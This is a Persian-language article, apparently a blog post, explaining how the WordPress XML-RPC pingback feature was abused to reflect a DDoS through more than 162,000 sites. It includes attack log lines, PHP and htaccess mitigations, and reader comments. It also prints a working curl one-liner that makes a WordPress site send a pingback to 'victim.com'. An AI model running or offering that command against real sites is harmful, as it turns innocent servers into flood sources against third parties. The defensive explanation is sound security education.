حملات DDoS امروزه بهدلیل اهمیت موضوع، بسیار مورد مطالعه و بررسی قرار میگیرد. در این مقاله قصد داریم تا درباره حملهای گسترده که توانسته از هزاران سایت WordPress از همه جا بیخبر بهعنوان منبع تکثیر استفاده کند، صحبت کنیم.
بیش از 162000 سایت WordPress برای حملات توزیع شده اختلال در سرویس (DDoS) استفاده میشوند. چنانچه قابلیت pingback در سایت WordPress فعال باشد (بهصورت پیش فرض غیرفعال است) میتواند برای حملات DDoS علیه سایت دیگر استفاده شود. توجه داشته باشید که XMLRP در pingback، Trackbacks، remote access از طریق موبایل و تعدادی ویژگی دیگر که شما احتمالا خیلی به آنها علاقمندید، استفاده شدهاست بنابراین آنها نیز میتوانند مورد سوء استفاده قرار گیرند.
بررسی روال انجام حملات DDoS به کمک سایت WordPress:
حمله DDOS علیه یک سایت WordPress پربازدید توانست آن را برای ساعتهای طولانی با کندی زیادی مواجه کند، زمانی که این حملات زیاد شد هاست سایت به کلی از سرویس دهی ناتوان و سایت از دسترس خارج شد.
برای رفع مشکل صاحبان سایت مجبور شدند که سرور خود را در zone یک فایروال قرار دهند تا بتوانند حملات را مانیتور نمایند. پس از انتقال متوجه یک حمله سیل آسای توزیع شده مبتنی بر HTTP شدند. هزاران request (درخواست) در هر ثانیه به سمت سرور ارسال میشد، درخواستها بهصورت زیر بودند:
74.86.132.186 - - [09/Mar/2014:11:05:27 -0400] "GET /?4137049=6431829 HTTP/1.0" 403 0 "-" "WordPress/3.8; http://www.mtbgearreview.com" 121.127.254.2 - - [09/Mar/2014:11:05:27 -0400] "GET /?4758117=5073922 HTTP/1.0" 403 0 "-" "WordPress/3.4.2; http://www.kschunvmo.com" 217.160.253.21 - - [09/Mar/2014:11:05:27 -0400] "GET /?7190851=6824134 HTTP/1.0" 403 0 "-" "WordPress/3.8.1; http://www.intoxzone.fr" 193.197.34.216 - - [09/Mar/2014:11:05:27 -0400] "GET /?3162504=9747583 HTTP/1.0" 403 0 "-" "WordPress/2.9.2; http://www.verwaltungmodern.de"
توجه نمایید همه پرس و جوها یک مقدار تصادفی مثل “?4137049=643182″ دارند که باعث میشود هر بار کش سایت پاک و مجدد به طور کامل load شود، این مسئله باعث down شدن سرور میشود. مطلب جالبتر اینجاست که همه درخواستها از IPهای معتبر و قانونی متعلق به سایتهای WordPress است. سایتهای وردپرس با ارسال درخواستهای تصادفی در حجم بالا دلیل down شدن سایت قربانی بودهاند!
تنظیمات پیشفرض ناامن وردپرس:
در ظرف کمتر از چند ساعت، بیشتر از 162000 سایت وردپرس مختلف و معتبر سعی داشتند که به سایت قربانی حمله کنند. یک مهاجم میتواند تا زمانی که به صورت پنهانی در سایه است ازهزاران سایت پربازدید وردپرس برای انجام حملات DDoS خود استفاده نماید و همه این اتفاقات به خاطر یک درخواست pingback ساده در فایل XML-RPC است. دستور ساده زیر در لینوکس میتواند شروع کننده این قبیل حملات باشد:
$ curl -D - "www.anywordpresssite.com/xmlrpc.php" -d '<methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://victim.com</string></value></param><param><value><string>www.anywordpresssite.com/postchosen</string></value></param></params></methodCall>'
برای بررسی حملات دیگر به سایت، میتوان از طریق logهای سایت درخواستهای post به فایل XML-RPC را بررسی نمود. اگر pingbackای به یک url تصادفی را مشاهده کردید، متوجه خواهید شد که سایت شما مورد سوء استفاده قرار گرفته است.
93.174.93.72 - - [09/Mar/2014:20:11:34 -0400] "POST /xmlrpc.php HTTP/1.0" 403 4034 "-" "-" "POSTREQUEST:<?xml version=\x221.0\x22 encoding=\x22iso-8859-1\x22?>\x0A<methodCall>\x0A<methodName>pingback.ping</methodName>\x0A<params>\x0A <param>\x0A <value>\x0A <string>http://fastbet99.com/?1698491=8940641</string>\x0A </value>\x0A </param>\x0A <param>\x0A <value>\x0A <string>yoursite.com</string>\x0A </value>\x0A </param>\x0A</params>\x0A</methodCall>\x0A"
94.102.63.238 – - [09/Mar/2014:23:21:01 -0400] "POST /xmlrpc.php HTTP/1.0" 403 4034 "-" "-" "POSTREQUEST:\x0A\x0Apingback.ping\x0A\x0A \x0A \x0A http://www.guttercleanerlondon.co.uk/?7964015=3863899\x0A \x0A \x0A \x0A \x0A yoursite.com\x0A \x0A \x0A\x0A\x0A"
در موارد بالا، سعی در استفاده از honeypotهای فایروال جهت DDoS به fastbet99.com و guttercleanerlondon.co.uk شدهاست.
برای جلوگیری از سوء استفاده از سایتهای وردپرس نیاز است تا تابع XML-RPC یا pingback غیرفعال شوند. روش بهتر جهت مسدود کردن این نوع حملات اضافه کردن یک plugin فیلترکننده به صورت زیر میباشد:
add_filter( ‘xmlrpc_methods’, function( $methods ) { unset( $methods['pingback.ping'] ); return $methods; } );
متاسفانه تا این لحظه نه تنها هیچ گونه patcheای از سوی تیم اصلی وردپرس عرضه نشده است بلکه در موارد زیادی از تابع XML-RPC یا pingback به عنوان یک ویژگی نام برده شده و پلاگینهای زیادی نیز از آن استفاده میکنند که این یک معضل بزرگ به شمار میآید.
4 دیدگاه. دیدگاه تازه ای بنویسید
خیلی عالی بود
من یه سایت ورد پرسی دارم که یکی از منوهاش هی هک می شه
نمی دونم قضیه چیه؟؟!!!!
واقعا عالی بود .
سایت بنده هم مورد حمله قرار گرفته بود که با غیر فعال کردن کارایی XML-RPC وردپرس این مشکل رو حل کردم .
البته چون دیر متوجه این جریان شدم یه دو روزی سایت به دلیل فشار زیاد روی سرورها بسته شد .
بازم ممنون
اگر این متن رو در فایل htaccess کپی کنید دسترسی به این فایل محدود میشه :
# Block WordPress xmlrpc.php requests
order deny,allow
deny from all
allow from 123.123.123.123
عالی بود